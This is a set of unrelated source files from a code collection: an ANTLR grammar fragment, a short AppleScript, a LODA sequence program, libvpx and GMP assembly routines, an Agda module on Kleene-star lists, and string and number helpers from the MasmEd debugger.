: sep? clause sep? (COMMA sep? clause)*
;
alias
: variableTerm sep? COLON sep?
;
variable
: alias variableTerm arguments
| alias variableTerm
| variableTerm arguments
| variableTerm
;
variableTerm
: IDENTIFIER
| PHRASE
| STAR
;
variableDeclarator
: variable
| variableDeclaratorPath
;
variableDeclaratorPath
: variable sep? (RSTART sep? variable)+
;
expr
: variableDeclarator LPAREN clauseGroup+ RPAREN
;
arguments: '[' argument+ ']';
argument: name sep? ':' sep? value ws;
value:
intValue
| floatValue
| stringValue
| booleanValue
| nullValue
| termValue
| listValue
| objectValue
;
intValue: INT;
floatValue: FLOAT;
name: IDENTIFIER | booleanValue;
booleanValue
: 'true'
| 'false'
;
stringValue: PHRASE;
termValue: IDENTIFIER;
nullValue: 'null';
listValue: '[' ']'
| '[' listItem+ ']'
;
listItem: sep? value ws;
objectValue: '{' objectField* '}';
objectField: name sep? ':' sep? value ws;
ws:
| sep
| sep? ',' sep?;
/* ================================================================
* = LEXER =
* ================================================================
*/
COMMA : ',';
LPAREN : '(';
RPAREN : ')';
RSTART : '/';
DQUOTE : '"';
SQUOTE : '\'';
TQUOTE : '`';
STAR : '*';
COLON : ':';
sep : WS+;
WS : ( ' '
| '\t'
| '\r'
| '\n'
| '\u3000'
)
;
PHRASE
: DQUOTE (ESC_CHAR|~('"'|'\\'))* DQUOTE
| SQUOTE (ESC_CHAR|~('\''|'\\'))* SQUOTE
| TQUOTE (ESC_CHAR|~('`'|'\\'))* TQUOTE
;
IDENTIFIER: LETTER LETTER_OR_DIGIT*;
fragment ESC_CHAR: '\\' .;
fragment LETTER_OR_DIGIT
: LETTER
| [0-9]
;
fragment DIGITS
: [0-9] ([0-9_]* [0-9])?
;
fragment LETTER
: [a-zA-Z$_] // these are the "java letters" below 0x7F
| ~[\u0000-\u007F\uD800-\uDBFF] // covers all characters above 0x7F which are not a surrogate
| [\uD800-\uDBFF] [\uDC00-\uDFFF] // covers UTF-16 surrogate pairs encodings for U+10000 to U+10FFFF
;
fragment NEGATIVE_SIGN: '-';
fragment NONZERO_DIGIT: [1-9];
fragment DIGIT: [0-9];
fragment FRACTIONAL_PART: '.' DIGIT+;
INT: NEGATIVE_SIGN? '0'
| NEGATIVE_SIGN? NONZERO_DIGIT DIGIT*
;
FLOAT: INT FRACTIONAL_PART; |
Bin/darwin/openprefs.scpt | Blackfiction/slimserver | 647 | 2097 | <filename>Bin/darwin/openprefs.scpt<gh_stars>100-1000
if application "System Preferences" is not running then
tell application "System Preferences"
set current pane to pane id "com.slimdevices.slim"
activate
end tell
end if
|
oeis/130/A130137.asm | neoneye/loda-programs | 11 | 95505 | ; A130137: Number of Fibonacci binary words of length n having no 0110 subword. A Fibonacci binary word is a binary word having no 00 subword.
; Submitted by <NAME>
; 1,2,3,5,7,11,16,25,37,57,85,130,195,297,447,679,1024,1553,2345,3553,5369,8130,12291,18605,28135,42579,64400,97449,147405,223033,337389,510466,772227,1168337,1767487,2674063,4045440,6120353,9259217,14008193
lpb $0
sub $0,1
add $4,$1
add $1,$3
mov $5,$3
add $5,$2
mov $2,$3
sub $5,$3
mov $3,$5
sub $3,$1
add $4,3
add $2,$4
lpe
mov $0,$2
div $0,3
add $0,1
|
vpx_dsp/arm/vpx_convolve_copy_neon_asm.asm | golden1232004/libvpx | 582 | 85524 | <gh_stars>100-1000
;
; Copyright (c) 2013 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
EXPORT |vpx_convolve_copy_neon|
ARM
REQUIRE8
PRESERVE8
AREA ||.text||, CODE, READONLY, ALIGN=2
|vpx_convolve_copy_neon| PROC
push {r4-r5, lr}
ldrd r4, r5, [sp, #28]
cmp r4, #32
bgt copy64
beq copy32
cmp r4, #8
bgt copy16
beq copy8
b copy4
copy64
sub lr, r1, #32
sub r3, r3, #32
copy64_h
pld [r0, r1, lsl #1]
vld1.8 {q0-q1}, [r0]!
vld1.8 {q2-q3}, [r0], lr
vst1.8 {q0-q1}, [r2@128]!
vst1.8 {q2-q3}, [r2@128], r3
subs r5, r5, #1
bgt copy64_h
pop {r4-r5, pc}
copy32
pld [r0, r1, lsl #1]
vld1.8 {q0-q1}, [r0], r1
pld [r0, r1, lsl #1]
vld1.8 {q2-q3}, [r0], r1
vst1.8 {q0-q1}, [r2@128], r3
vst1.8 {q2-q3}, [r2@128], r3
subs r5, r5, #2
bgt copy32
pop {r4-r5, pc}
copy16
pld [r0, r1, lsl #1]
vld1.8 {q0}, [r0], r1
pld [r0, r1, lsl #1]
vld1.8 {q1}, [r0], r1
vst1.8 {q0}, [r2@128], r3
vst1.8 {q1}, [r2@128], r3
subs r5, r5, #2
bgt copy16
pop {r4-r5, pc}
copy8
pld [r0, r1, lsl #1]
vld1.8 {d0}, [r0], r1
pld [r0, r1, lsl #1]
vld1.8 {d2}, [r0], r1
vst1.8 {d0}, [r2@64], r3
vst1.8 {d2}, [r2@64], r3
subs r5, r5, #2
bgt copy8
pop {r4-r5, pc}
copy4
ldr r12, [r0], r1
str r12, [r2], r3
subs r5, r5, #1
bgt copy4
pop {r4-r5, pc}
ENDP
END
|
libtool/src/gmp-6.1.2/mpn/powerpc32/sec_tabselect.asm | kroggen/aergo | 1,602 | 104808 | <filename>libtool/src/gmp-6.1.2/mpn/powerpc32/sec_tabselect.asm<gh_stars>1000+
dnl PowerPC-32 mpn_sec_tabselect.
dnl Contributed to the GNU project by <NAME>.
dnl Copyright 2011-2013 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C cycles/limb
C 603e: ?
C 604e: ?
C 75x (G3): ?
C 7400,7410 (G4): 2.5
C 744x,745x (G4+): 2.0
C power4/ppc970: 2.0
C power5: ?
define(`rp', `r3')
define(`tp', `r4')
define(`n', `r5')
define(`nents', `r6')
define(`which', `r7')
define(`i', `r8')
define(`j', `r9')
define(`stride', `r12')
define(`mask', `r11')
ASM_START()
PROLOGUE(mpn_sec_tabselect)
stwu r1, -32(r1)
addic. j, n, -4 C outer loop induction variable
stmw r27, 8(r1)
slwi stride, n, 2
blt cr0, L(outer_end)
L(outer_top):
mtctr nents
mr r10, tp
li r28, 0
li r29, 0
li r30, 0
li r31, 0
addic. j, j, -4 C outer loop induction variable
mr i, which
ALIGN(16)
L(top): addic i, i, -1 C set carry iff i != 0
subfe mask, mask, mask
lwz r0, 0(tp)
lwz r27, 4(tp)
and r0, r0, mask
and r27, r27, mask
or r28, r28, r0
or r29, r29, r27
lwz r0, 8(tp)
lwz r27, 12(tp)
and r0, r0, mask
and r27, r27, mask
or r30, r30, r0
or r31, r31, r27
add tp, tp, stride
bdnz L(top)
stw r28, 0(rp)
stw r29, 4(rp)
stw r30, 8(rp)
stw r31, 12(rp)
addi tp, r10, 16
addi rp, rp, 16
bge cr0, L(outer_top)
L(outer_end):
andi. r0, n, 2
beq cr0, L(b0x)
L(b1x): mtctr nents
mr r10, tp
li r28, 0
li r29, 0
mr i, which
ALIGN(16)
L(tp2): addic i, i, -1
subfe mask, mask, mask
lwz r0, 0(tp)
lwz r27, 4(tp)
and r0, r0, mask
and r27, r27, mask
or r28, r28, r0
or r29, r29, r27
add tp, tp, stride
bdnz L(tp2)
stw r28, 0(rp)
stw r29, 4(rp)
addi tp, r10, 8
addi rp, rp, 8
L(b0x): andi. r0, n, 1
beq cr0, L(b00)
L(b01): mtctr nents
mr r10, tp
li r28, 0
mr i, which
ALIGN(16)
L(tp1): addic i, i, -1
subfe mask, mask, mask
lwz r0, 0(tp)
and r0, r0, mask
or r28, r28, r0
add tp, tp, stride
bdnz L(tp1)
stw r28, 0(rp)
L(b00): lmw r27, 8(r1)
addi r1, r1, 32
blr
EPILOGUE()
|
Data/List/Kleene/Base.agda | oisdk/agda-kleene-lists | 0 | 7483 | {-# OPTIONS --without-K --safe #-}
------------------------------------------------------------------------
-- Lists, based on the Kleene star and plus.
--
-- These lists are exatcly equivalent to normal lists, except the "cons"
-- case is split into its own data type. This lets us write all the same
-- functions as before, but it has 2 advantages:
--
-- * Some functions are easier to express on the non-empty type. For
-- instance, head can be clearly expressed without the need for
-- maybes.
-- * It can make some proofs easier. By using the non-empty type where
-- possible, we can avoid an extra pattern match, which can really
-- simplify certain proofs.
module Data.List.Kleene.Base where
open import Data.Product as Product using (_×_; _,_; map₂; map₁; proj₁; proj₂)
open import Data.Nat as ℕ using (ℕ; suc; zero)
open import Data.Maybe as Maybe using (Maybe; just; nothing)
open import Data.Sum as Sum using (_⊎_; inj₁; inj₂)
open import Algebra
open import Function
------------------------------------------------------------------------
-- Definitions
infixr 5 _&_ ∹_
mutual
-- Non-Empty Lists
record _⁺ {a} (A : Set a) : Set a where
inductive
constructor _&_
field
head : A
tail : A ⋆
-- Possibly Empty Lists
data _⋆ {a} (A : Set a) : Set a where
[] : A ⋆
∹_ : A ⁺ → A ⋆
open _⁺ public
------------------------------------------------------------------------
-- FoldMap
module _ {c ℓ a} (sgrp : Semigroup c ℓ) {A : Set a} where
open Semigroup sgrp
foldMap⁺ : (A → Carrier) → A ⁺ → Carrier
foldMap⁺ f (x & []) = f x
foldMap⁺ f (x & ∹ xs) = f x ∙ foldMap⁺ f xs
module _ {c ℓ a} (mon : Monoid c ℓ) {A : Set a} where
open Monoid mon
foldMap⋆ : (A → Carrier) → A ⋆ → Carrier
foldMap⋆ f [] = ε
foldMap⋆ f (∹ xs) = foldMap⁺ semigroup f xs
------------------------------------------------------------------------
-- Folds
module _ {a b} {A : Set a} {B : Set b} (f : A → B → B) (b : B) where
foldr⁺ : A ⁺ → B
foldr⋆ : A ⋆ → B
foldr⁺ (x & xs) = f x (foldr⋆ xs)
foldr⋆ [] = b
foldr⋆ (∹ xs) = foldr⁺ xs
module _ {a b} {A : Set a} {B : Set b} (f : B → A → B) where
foldl⁺ : B → A ⁺ → B
foldl⋆ : B → A ⋆ → B
foldl⁺ b (x & xs) = foldl⋆ (f b x) xs
foldl⋆ b [] = b
foldl⋆ b (∹ xs) = foldl⁺ b xs
------------------------------------------------------------------------
-- Concatenation
module _ {a} {A : Set a} where
_⁺++⁺_ : A ⁺ → A ⁺ → A ⁺
_⁺++⋆_ : A ⁺ → A ⋆ → A ⁺
_⋆++⁺_ : A ⋆ → A ⁺ → A ⁺
_⋆++⋆_ : A ⋆ → A ⋆ → A ⋆
head (xs ⁺++⋆ ys) = head xs
tail (xs ⁺++⋆ ys) = tail xs ⋆++⋆ ys
xs ⋆++⋆ ys = foldr⋆ (λ x zs → ∹ x & zs) ys xs
xs ⁺++⁺ ys = foldr⁺ (λ x zs → x & ∹ zs) ys xs
[] ⋆++⁺ ys = ys
(∹ xs) ⋆++⁺ ys = xs ⁺++⁺ ys
------------------------------------------------------------------------
-- Mapping
module _ {a b} {A : Set a} {B : Set b} (f : A → B) where
map⁺ : A ⁺ → B ⁺
map⋆ : A ⋆ → B ⋆
head (map⁺ xs) = f (head xs)
tail (map⁺ xs) = map⋆ (tail xs)
map⋆ [] = []
map⋆ (∹ xs) = ∹ map⁺ xs
------------------------------------------------------------------------
-- Applicative Operations
module _ {a} {A : Set a} where
pure⁺ : A → A ⁺
pure⋆ : A → A ⋆
head (pure⁺ x) = x
tail (pure⁺ x) = []
pure⋆ x = ∹ pure⁺ x
module _ {a b} {A : Set a} {B : Set b} where
_⋆<*>⋆_ : (A → B) ⋆ → A ⋆ → B ⋆
_⁺<*>⋆_ : (A → B) ⁺ → A ⋆ → B ⋆
_⋆<*>⁺_ : (A → B) ⋆ → A ⁺ → B ⋆
_⁺<*>⁺_ : (A → B) ⁺ → A ⁺ → B ⁺
[] ⋆<*>⋆ xs = []
(∹ fs) ⋆<*>⋆ xs = fs ⁺<*>⋆ xs
fs ⁺<*>⋆ xs = map⋆ (head fs) xs ⋆++⋆ (tail fs ⋆<*>⋆ xs)
[] ⋆<*>⁺ xs = []
(∹ fs) ⋆<*>⁺ xs = ∹ fs ⁺<*>⁺ xs
fs ⁺<*>⁺ xs = map⁺ (head fs) xs ⁺++⋆ (tail fs ⋆<*>⁺ xs)
------------------------------------------------------------------------
-- Monadic Operations
module _ {a b} {A : Set a} {B : Set b} where
_⁺>>=⁺_ : A ⁺ → (A → B ⁺) → B ⁺
_⁺>>=⋆_ : A ⁺ → (A → B ⋆) → B ⋆
_⋆>>=⁺_ : A ⋆ → (A → B ⁺) → B ⋆
_⋆>>=⋆_ : A ⋆ → (A → B ⋆) → B ⋆
(x & xs) ⁺>>=⁺ k = k x ⁺++⋆ (xs ⋆>>=⁺ k)
(x & xs) ⁺>>=⋆ k = k x ⋆++⋆ (xs ⋆>>=⋆ k)
[] ⋆>>=⋆ k = []
(∹ xs) ⋆>>=⋆ k = xs ⁺>>=⋆ k
[] ⋆>>=⁺ k = []
(∹ xs) ⋆>>=⁺ k = ∹ xs ⁺>>=⁺ k
------------------------------------------------------------------------
-- Scans
module Scanr {a b} {A : Set a} {B : Set b} (f : A → B → B) (b : B) where
cons : A → B ⁺ → B ⁺
head (cons x xs) = f x (head xs)
tail (cons x xs) = ∹ xs
scanr⁺ : A ⁺ → B ⁺
scanr⋆ : A ⋆ → B ⁺
scanr⋆ = foldr⋆ cons (b & [])
scanr⁺ = foldr⁺ cons (b & [])
open Scanr public using (scanr⁺; scanr⋆)
module _ {a b} {A : Set a} {B : Set b} (f : B → A → B) where
scanl⁺ : B → A ⁺ → B ⁺
scanl⋆ : B → A ⋆ → B ⁺
head (scanl⁺ b xs) = b
tail (scanl⁺ b xs) = ∹ scanl⋆ (f b (head xs)) (tail xs)
head (scanl⋆ b xs) = b
tail (scanl⋆ b []) = []
tail (scanl⋆ b (∹ xs)) = ∹ scanl⋆ (f b (head xs)) (tail xs)
scanl₁ : B → A ⁺ → B ⁺
scanl₁ b xs = scanl⋆ (f b (head xs)) (tail xs)
------------------------------------------------------------------------
-- Accumulating maps
module _ {a b c} {A : Set a} {B : Set b} {C : Set c} (f : B → A → (B × C)) where
mapAccumL⋆ : B → A ⋆ → (B × C ⋆)
mapAccumL⁺ : B → A ⁺ → (B × C ⁺)
mapAccumL⋆ b [] = b , []
mapAccumL⋆ b (∹ xs) = map₂ ∹_ (mapAccumL⁺ b xs)
mapAccumL⁺ b (x & xs) =
let y , ys = f b x
z , zs = mapAccumL⋆ y xs
in z , (ys & zs)
module _ {a b c} {A : Set a} {B : Set b} {C : Set c} (f : A → B → (C × B)) (b : B) where
mapAccumR⋆ : A ⋆ → (C ⋆ × B)
mapAccumR⁺ : A ⁺ → (C ⁺ × B)
mapAccumR⋆ [] = [] , b
mapAccumR⋆ (∹ xs) = map₁ ∹_ (mapAccumR⁺ xs)
mapAccumR⁺ (x & xs) =
let ys , y = mapAccumR⋆ xs
zs , z = f x y
in (zs & ys) , z
------------------------------------------------------------------------
-- Non-Empty Folds
module _ {a} {A : Set a} where
last : A ⁺ → A
last (x & []) = x
last (_ & (∹ xs)) = last xs
module _ {a} {A : Set a} (f : A → A → A) where
foldr1 : A ⁺ → A
foldr1 (x & []) = x
foldr1 (x & (∹ xs)) = f x (foldr1 xs)
foldl1 : A ⁺ → A
foldl1 (x & xs) = foldl⋆ f x xs
module _ {a b} {A : Set a} {B : Set b} (f : A → Maybe B → B) where
foldrMay⋆ : A ⋆ → Maybe B
foldrMay⁺ : A ⁺ → B
foldrMay⋆ [] = nothing
foldrMay⋆ (∹ xs) = just (foldrMay⁺ xs)
foldrMay⁺ xs = f (head xs) (foldrMay⋆ (tail xs))
------------------------------------------------------------------------
-- Indexing
module _ {a} {A : Set a} where
_[_]⋆ : A ⋆ → ℕ → Maybe A
_[_]⁺ : A ⁺ → ℕ → Maybe A
[] [ _ ]⋆ = nothing
(∹ xs) [ i ]⋆ = xs [ i ]⁺
xs [ zero ]⁺ = just (head xs)
xs [ suc i ]⁺ = tail xs [ i ]⋆
applyUpTo⋆ : (ℕ → A) → ℕ → A ⋆
applyUpTo⁺ : (ℕ → A) → ℕ → A ⁺
applyUpTo⋆ f zero = []
applyUpTo⋆ f (suc n) = ∹ applyUpTo⁺ f n
head (applyUpTo⁺ f n) = f zero
tail (applyUpTo⁺ f n) = applyUpTo⋆ (f ∘ suc) n
upTo⋆ : ℕ → ℕ ⋆
upTo⋆ = applyUpTo⋆ id
upTo⁺ : ℕ → ℕ ⁺
upTo⁺ = applyUpTo⁺ id
------------------------------------------------------------------------
-- Manipulation
module _ {a} {A : Set a} (x : A) where
intersperse⁺ : A ⁺ → A ⁺
intersperse⋆ : A ⋆ → A ⋆
head (intersperse⁺ xs) = head xs
tail (intersperse⁺ xs) = prepend (tail xs)
where
prepend : A ⋆ → A ⋆
prepend [] = []
prepend (∹ xs) = ∹ x & ∹ intersperse⁺ xs
intersperse⋆ [] = []
intersperse⋆ (∹ xs) = ∹ intersperse⁺ xs
module _ {a} {A : Set a} where
_⁺<|>⁺_ : A ⁺ → A ⁺ → A ⁺
_⁺<|>⋆_ : A ⁺ → A ⋆ → A ⁺
_⋆<|>⁺_ : A ⋆ → A ⁺ → A ⁺
_⋆<|>⋆_ : A ⋆ → A ⋆ → A ⋆
head (xs ⁺<|>⁺ ys) = head xs
tail (xs ⁺<|>⁺ ys) = ∹ (ys ⁺<|>⋆ tail xs)
head (xs ⁺<|>⋆ ys) = head xs
tail (xs ⁺<|>⋆ ys) = ys ⋆<|>⋆ tail xs
[] ⋆<|>⁺ ys = ys
(∹ xs) ⋆<|>⁺ ys = xs ⁺<|>⁺ ys
[] ⋆<|>⋆ ys = ys
(∹ xs) ⋆<|>⋆ ys = ∹ (xs ⁺<|>⋆ ys)
module _ {a b c} {A : Set a} {B : Set b} {C : Set c} (f : A → B → C) where
⁺zipWith⁺ : A ⁺ → B ⁺ → C ⁺
⋆zipWith⁺ : A ⋆ → B ⁺ → C ⋆
⁺zipWith⋆ : A ⁺ → B ⋆ → C ⋆
⋆zipWith⋆ : A ⋆ → B ⋆ → C ⋆
head (⁺zipWith⁺ xs ys) = f (head xs) (head ys)
tail (⁺zipWith⁺ xs ys) = ⋆zipWith⋆ (tail xs) (tail ys)
⋆zipWith⁺ [] ys = []
⋆zipWith⁺ (∹ xs) ys = ∹ ⁺zipWith⁺ xs ys
⁺zipWith⋆ xs [] = []
⁺zipWith⋆ xs (∹ ys) = ∹ ⁺zipWith⁺ xs ys
⋆zipWith⋆ [] ys = []
⋆zipWith⋆ (∹ xs) ys = ⁺zipWith⋆ xs ys
module Unzip {a b c} {A : Set a} {B : Set b} {C : Set c} (f : A → B × C) where
cons : B × C → B ⋆ × C ⋆ → B ⁺ × C ⁺
head (proj₁ (cons x xs)) = proj₁ x
tail (proj₁ (cons x xs)) = proj₁ xs
head (proj₂ (cons x xs)) = proj₂ x
tail (proj₂ (cons x xs)) = proj₂ xs
unzipWith⋆ : A ⋆ → B ⋆ × C ⋆
unzipWith⁺ : A ⁺ → B ⁺ × C ⁺
unzipWith⋆ = foldr⋆ (λ x xs → Product.map ∹_ ∹_ (cons (f x) xs)) ([] , [])
unzipWith⁺ xs = cons (f (head xs)) (unzipWith⋆ (tail xs))
open Unzip using (unzipWith⁺; unzipWith⋆) public
module Partition {a b c} {A : Set a} {B : Set b} {C : Set c} (f : A → B ⊎ C) where
cons : B ⊎ C → B ⋆ × C ⋆ → B ⋆ × C ⋆
proj₁ (cons (inj₁ x) xs) = ∹ x & proj₁ xs
proj₂ (cons (inj₁ x) xs) = proj₂ xs
proj₂ (cons (inj₂ x) xs) = ∹ x & proj₂ xs
proj₁ (cons (inj₂ x) xs) = proj₁ xs
partitionSumsWith⋆ : A ⋆ → B ⋆ × C ⋆
partitionSumsWith⁺ : A ⁺ → B ⋆ × C ⋆
partitionSumsWith⋆ = foldr⋆ (cons ∘ f) ([] , [])
partitionSumsWith⁺ = foldr⁺ (cons ∘ f) ([] , [])
open Partition using (partitionSumsWith⁺; partitionSumsWith⋆) public
module _ {a} {A : Set a} where
⋆transpose⋆ : (A ⋆) ⋆ → (A ⋆) ⋆
⋆transpose⁺ : (A ⋆) ⁺ → (A ⁺) ⋆
⁺transpose⋆ : (A ⁺) ⋆ → (A ⋆) ⁺
⁺transpose⁺ : (A ⁺) ⁺ → (A ⁺) ⁺
⋆transpose⋆ [] = []
⋆transpose⋆ (∹ xs) = map⋆ ∹_ (⋆transpose⁺ xs)
⋆transpose⁺ (x & []) = map⋆ pure⁺ x
⋆transpose⁺ (x & (∹ xs)) = ⋆zipWith⋆ (λ y z → y & ∹ z) x (⋆transpose⁺ xs)
⁺transpose⋆ [] = [] & []
⁺transpose⋆ (∹ xs) = map⁺ ∹_ (⁺transpose⁺ xs)
⁺transpose⁺ (x & []) = map⁺ pure⁺ x
⁺transpose⁺ (x & (∹ xs)) = ⁺zipWith⁺ (λ y z → y & ∹ z) x (⁺transpose⁺ xs)
module _ {a} {A : Set a} where
tails⋆ : A ⋆ → (A ⁺) ⋆
tails⁺ : A ⁺ → (A ⁺) ⁺
head (tails⁺ xs) = xs
tail (tails⁺ xs) = tails⋆ (tail xs)
tails⋆ [] = []
tails⋆ (∹ xs) = ∹ tails⁺ xs
module _ {a} {A : Set a} where
reverse⋆ : A ⋆ → A ⋆
reverse⋆ = foldl⋆ (λ xs x → ∹ x & xs) []
reverse⁺ : A ⁺ → A ⁺
reverse⁺ (x & xs) = foldl⋆ (λ ys y → y & (∹ ys)) (x & []) xs
|
Src/Ant8/Tests/aa8/basic/e_byte_1.asm | geoffthorpe/ant-architecture | 0 | 1995 | # $Id: e_byte_1.asm,v 1.1 2001/03/14 04:02:09 ellard Exp $
#@ tests for too few args.
_data_:
.byte
|
MasmEd/MasmEd/Debug/Misc.asm | CherryDT/FbEditMOD | 11 | 85283 | <gh_stars>10-100
GetFileIDFromProjectFileID PROTO :DWORD
AnyBreakPoints PROTO
.const
FP_EQUALTO equ 40h
ten16 dq 1.0e16
ten dq 10.0
ten_1 dt 1.0e1
dt 1.0e2
dt 1.0e3
dt 1.0e4
dt 1.0e5
dt 1.0e6
dt 1.0e7
dt 1.0e8
dt 1.0e9
dt 1.0e10
dt 1.0e11
dt 1.0e12
dt 1.0e13
dt 1.0e14
dt 1.0e15
ten_16 dt 1.0e16
dt 1.0e32
dt 1.0e48
dt 1.0e64
dt 1.0e80
dt 1.0e96
dt 1.0e112
dt 1.0e128
dt 1.0e144
dt 1.0e160
dt 1.0e176
dt 1.0e192
dt 1.0e208
dt 1.0e224
dt 1.0e240
ten_256 dt 1.0e256
dt 1.0e512
dt 1.0e768
dt 1.0e1024
dt 1.0e1280
dt 1.0e1536
dt 1.0e1792
dt 1.0e2048
dt 1.0e2304
dt 1.0e2560
dt 1.0e2816
dt 1.0e3072
dt 1.0e3328
dt 1.0e3584
dt 1.0e4096
dt 1.0e4352
dt 1.0e4608
dt 1.0e4864
.code
; String handling
strcpy proc uses esi edi,lpDest:DWORD,lpSource:DWORD
mov esi,lpSource
xor ecx,ecx
mov edi,lpDest
@@:
mov al,[esi+ecx]
mov [edi+ecx],al
inc ecx
or al,al
jne @b
ret
strcpy endp
strcpyn proc uses esi edi,lpDest:DWORD,lpSource:DWORD,nLen:DWORD
mov esi,lpSource
mov edx,nLen
dec edx
xor ecx,ecx
mov edi,lpDest
@@:
.if sdword ptr ecx<edx
mov al,[esi+ecx]
mov [edi+ecx],al
inc ecx
or al,al
jne @b
.else
mov byte ptr [edi+ecx],0
.endif
ret
strcpyn endp
strcat proc uses esi edi,lpDest:DWORD,lpSource:DWORD
xor eax,eax
xor ecx,ecx
dec eax
mov edi,lpDest
@@:
inc eax
cmp [edi+eax],cl
jne @b
mov esi,lpSource
lea edi,[edi+eax]
@@:
mov al,[esi+ecx]
mov [edi+ecx],al
inc ecx
or al,al
jne @b
ret
strcat endp
strlen proc uses esi,lpSource:DWORD
xor eax,eax
dec eax
mov esi,lpSource
@@:
inc eax
cmp byte ptr [esi+eax],0
jne @b
ret
strlen endp
strcmp proc uses esi edi,lpStr1:DWORD,lpStr2:DWORD
mov esi,lpStr1
mov edi,lpStr2
xor ecx,ecx
dec ecx
@@:
inc ecx
mov al,[esi+ecx]
sub al,[edi+ecx]
jne @f
cmp al,[esi+ecx]
jne @b
@@:
cbw
cwde
ret
strcmp endp
strcmpn proc uses esi edi,lpStr1:DWORD,lpStr2:DWORD,nCount:DWORD
mov esi,lpStr1
mov edi,lpStr2
xor ecx,ecx
dec ecx
@@:
inc ecx
cmp ecx,nCount
je @f
mov al,[esi+ecx]
sub al,[edi+ecx]
jne @f
cmp al,[esi+ecx]
jne @b
@@:
cbw
cwde
ret
strcmpn endp
strcmpi proc uses esi edi,lpStr1:DWORD,lpStr2:DWORD
mov esi,lpStr1
mov edi,lpStr2
xor ecx,ecx
dec ecx
@@:
inc ecx
mov al,[esi+ecx]
mov ah,[edi+ecx]
.if al>='a' && al<='z'
and al,5Fh
.endif
.if ah>='a' && ah<='z'
and ah,5Fh
.endif
sub al,ah
jne @f
cmp al,[esi+ecx]
jne @b
@@:
cbw
cwde
ret
strcmpi endp
strcmpin proc uses esi edi,lpStr1:DWORD,lpStr2:DWORD,nCount:DWORD
mov esi,lpStr1
mov edi,lpStr2
xor ecx,ecx
dec ecx
@@:
inc ecx
cmp ecx,nCount
je @f
mov al,[esi+ecx]
mov ah,[edi+ecx]
.if al>='a' && al<='z'
and al,5Fh
.endif
.if ah>='a' && ah<='z'
and ah,5Fh
.endif
sub al,ah
jne @f
cmp al,[esi+ecx]
jne @b
@@:
cbw
cwde
ret
strcmpin endp
; Numbers
DecToBin proc uses ebx esi,lpStr:DWORD
LOCAL fNeg:DWORD
mov esi,lpStr
mov fNeg,FALSE
mov al,[esi]
.if al=='-'
inc esi
mov fNeg,TRUE
.endif
xor eax,eax
@@:
cmp byte ptr [esi],30h
jb @f
cmp byte ptr [esi],3Ah
jnb @f
mov ebx,eax
shl eax,2
add eax,ebx
shl eax,1
xor ebx,ebx
mov bl,[esi]
sub bl,30h
add eax,ebx
inc esi
jmp @b
@@:
.if fNeg
neg eax
.endif
ret
DecToBin endp
IsDec proc uses esi,lpStr:DWORD
mov esi,lpStr
.if byte ptr [esi]=='-'
inc esi
.endif
.while TRUE
mov al,[esi]
.if al>='0' && al<='9'
.elseif !al || al==']'
mov eax,esi
sub eax,lpStr
jmp Ex
.else
.break
.endif
inc esi
.endw
xor eax,eax
Ex:
ret
IsDec endp
HexToBin proc uses esi,lpStr:DWORD
mov esi,lpStr
xor edx,edx
.while byte ptr [esi]
mov al,[esi]
.if al>='0' && al<='9'
sub al,'0'
.elseif al>='A' && al<='F'
sub al,'A'-10
.elseif al>='a' && al<='f'
sub al,'a'-10
.else
jmp Ex
.endif
shl edx,4
or dl,al
inc esi
.endw
Ex:
mov eax,edx
ret
HexToBin endp
IsHex proc uses esi,lpStr:DWORD
mov esi,lpStr
.while byte ptr [esi]
mov al,[esi]
.if al>='0' && al<='9' || al>='A' && al<='F' || al>='a' && al<='f'
.elseif (al=='h' || al=='H') && (!byte ptr [esi+1] || byte ptr [esi+1]==']')
mov eax,esi
sub eax,lpStr
jmp Ex
.else
.break
.endif
inc esi
.endw
xor eax,eax
Ex:
ret
IsHex endp
AnyToBin proc lpStr:DWORD
invoke IsHex,lpStr
.if eax
invoke HexToBin,lpStr
mov edx,eax
mov eax,TRUE
jmp Ex
.else
invoke IsDec,lpStr
.if eax
invoke DecToBin,lpStr
mov edx,eax
mov eax,TRUE
jmp Ex
.endif
.endif
xor edx,edx
xor eax,eax
Ex:
ret
AnyToBin endp
PutString proc lpString:DWORD,hWin:HWND,fRed:DWORD
LOCAL chrg:CHARRANGE
mov chrg.cpMin,-1
mov chrg.cpMax,-1
invoke SendMessage,hWin,EM_EXSETSEL,0,addr chrg
invoke SendMessage,hWin,EM_LINELENGTH,-1,0
.if eax
invoke SendMessage,hWin,EM_REPLACESEL,FALSE,addr szCR
.endif
.if fRed
invoke SendMessage,hWin,EM_EXGETSEL,0,addr chrg
invoke SendMessage,hWin,EM_EXLINEFROMCHAR,0,chrg.cpMin
invoke SendMessage,hWin,REM_LINEREDTEXT,eax,TRUE
.endif
invoke SendMessage,hWin,EM_REPLACESEL,FALSE,lpString
invoke SendMessage,hWin,EM_REPLACESEL,FALSE,addr szCR
invoke SendMessage,hWin,EM_SCROLLCARET,0,0
ret
PutString endp
HexBYTE proc uses ebx edi,lpBuff:DWORD,Val:DWORD
mov edi,lpBuff
mov eax,Val
mov ah,al
shr al,4
and ah,0Fh
.if al<=9
add al,30h
.else
add al,41h-0Ah
.endif
.if ah<=9
add ah,30h
.else
add ah,41h-0Ah
.endif
mov [edi],ax
ret
HexBYTE endp
HexWORD proc uses ecx ebx edi,lpBuff:DWORD,Val:DWORD
mov edi,lpBuff
mov ebx,Val
rol ebx,16
xor ecx,ecx
.while ecx<2
rol ebx,8
mov eax,ebx
invoke HexBYTE,edi,eax
inc edi
inc edi
inc ecx
.endw
mov byte ptr [edi],0
ret
